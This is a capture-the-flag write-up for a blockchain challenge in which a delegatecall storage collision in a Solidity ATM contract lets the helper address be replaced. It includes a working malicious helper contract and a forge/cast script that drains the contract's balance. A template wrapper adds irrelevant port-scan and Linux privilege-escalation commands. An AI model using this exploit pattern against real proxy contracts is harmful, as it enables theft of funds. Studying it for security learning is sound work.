← Back to Writeups
HTBMediumBlockchain

PP Farming 2

D3v0o0Nu119/2/20264 min read
#blockchain#htb#medium#delegatecall_storage_collision#malicious_helper_contract#proxy_implementation_hijack

PP Farming 2

Platform: Sekai2026 | Category: Blockchain | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-28 | Status: Solved Techniques: delegatecall_storage_collision, malicious_helper_contract, proxy_implementation_hijack

Summary

Task: Ethereum ATM contract patched against the original reentrancy bug but still exposing a delegatecall proxy to a helper. Solution: call setATM through the fallback to overwrite the helper slot, then delegatecall a malicious helper that drains the ATM balance.

Recon

Port scan

bash
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: sekai2026 | ID: 20260628_sekai2026_pp_farming_2
  • Tags: solidity, ethereum, proxy, delegatecall, storage_collision
  • Indicators: fallback proxies arbitrary calls with delegatecall, helper setATM(address) writes storage slot 1, ATM slot 1 stores performancePointHelper, processWithdrawal selector is blocked only in fallback
  • Source: 20260628_sekai2026_pp_farming_2.md

Foothold

Vulnerability / Misconfiguration

  1. delegatecall_storage_collision
  2. malicious_helper_contract
  3. proxy_implementation_hijack
bash
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

bash
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
bash
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • delegatecall_storage_collision
  • malicious_helper_contract
  • proxy_implementation_hijack
  • Tags: solidity, ethereum, proxy, delegatecall, storage_collision

Original Writeup

<details><summary>Click to expand original content</summary>

Description

I fixed the issue. I think...

English summary: the attachment was an AES-encrypted ZIP. The prompt said to use the previous PP Farming flag as the password; that previous flag was only a password/context value, not the final flag for this challenge. After decryption, the goal was to drain an Ethereum PerformancePointATM instance so that isSolved() returned true.

Analysis

The original PP Farming bug was a straightforward reentrancy issue, but PP Farming 2 adds a noReentrancy modifier to withdrawPP(). The successful exploit is therefore not reentrancy.

The decrypted source contains two relevant contracts:

  • PerformancePointHelper storage layout:
    • slot 0: id_number
    • slot 1: atm
    • slot 2: helping
  • PerformancePointATM storage layout:
    • slot 0: scores mapping
    • slot 1: performancePointHelper
    • slot 2: locked

PerformancePointATM.withdrawPP() reads the caller's score, enters noReentrancy, and then executes:

solidity
performancePointHelper.delegatecall(
    abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score)
);
scores[msg.sender] = 0;

The fallback function also proxies arbitrary calls to performancePointHelper using delegatecall. It blocks only the selector for processWithdrawal(address,uint256), but it does not block other helper functions such as setATM(address).

That creates a storage-collision primitive. Calling setATM(address) on the ATM reaches the fallback, which delegatecalls the helper. In the helper, setATM writes helper slot 1 (atm). Under delegatecall, slot 1 belongs to the ATM, so this overwrites PerformancePointATM.performancePointHelper. An attacker can replace the helper implementation with an arbitrary contract.

Once the helper address is replaced, withdrawPP() delegatecalls attacker-controlled code. During a delegatecall, address(this) is still the ATM, so attacker code can send the ATM's entire balance.

Solution

The malicious helper ignores the requested withdrawal amount and transfers address(this).balance to the recipient:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract EvilHelper {
    function processWithdrawal(address payable recipient, uint256) external returns (bool) {
        (bool success, ) = recipient.call{value: address(this).balance}("");
        return success;
    }
}

Exploit steps:

  1. Deploy EvilHelper.
  2. Call the ATM with the helper function signature setATM(address) and the EvilHelper address. This is routed through the ATM fallback and overwrites slot 1, changing performancePointHelper.
  3. Donate a minimal positive score, for example 1 wei, to satisfy require(score > 0) in withdrawPP().
  4. Call withdrawPP(). The ATM delegatecalls EvilHelper.processWithdrawal, which drains the full ATM balance to the player.
  5. Check isSolved() and the ATM balance.

Full command pattern:

bash
#!/usr/bin/env bash
set -euo pipefail

# Required environment variables:
#   RPC_URL       instance RPC endpoint
#   PRIVATE_KEY   funded challenge account private key
#   ATM           deployed PerformancePointATM address

forge create --broadcast --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" EvilHelper.sol:EvilHelper

# Put the deployed address from forge output here.
EVIL="0x..."
PLAYER=$(cast wallet address --private-key "$PRIVATE_KEY")

# Fallback delegatecall: PerformancePointHelper.setATM(address) writes ATM slot 1.
cast send --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" \
  "$ATM" "setATM(address)" "$EVIL"

# Create a non-zero score for the caller.
cast send --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" --value 1 \
  "$ATM" "donatePP(address)" "$PLAYER"

# Delegatecalls EvilHelper.processWithdrawal and drains the ATM.
cast send --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" \
  "$ATM" "withdrawPP()"

cast call --rpc-url "$RPC_URL" "$ATM" "isSolved()(bool)"
cast balance --rpc-url "$RPC_URL" "$ATM"

On the solved live instance, the ATM was 0x06a7D5480d3028827aB0bc33B23D1758CF182aE5 and the deployed EvilHelper was 0x6ef7d2F61D6dC572063897977A29c9c7231390E9. After the exploit, isSolved() returned true and the ATM balance was 0 wei.

</details>

signed by XESXOR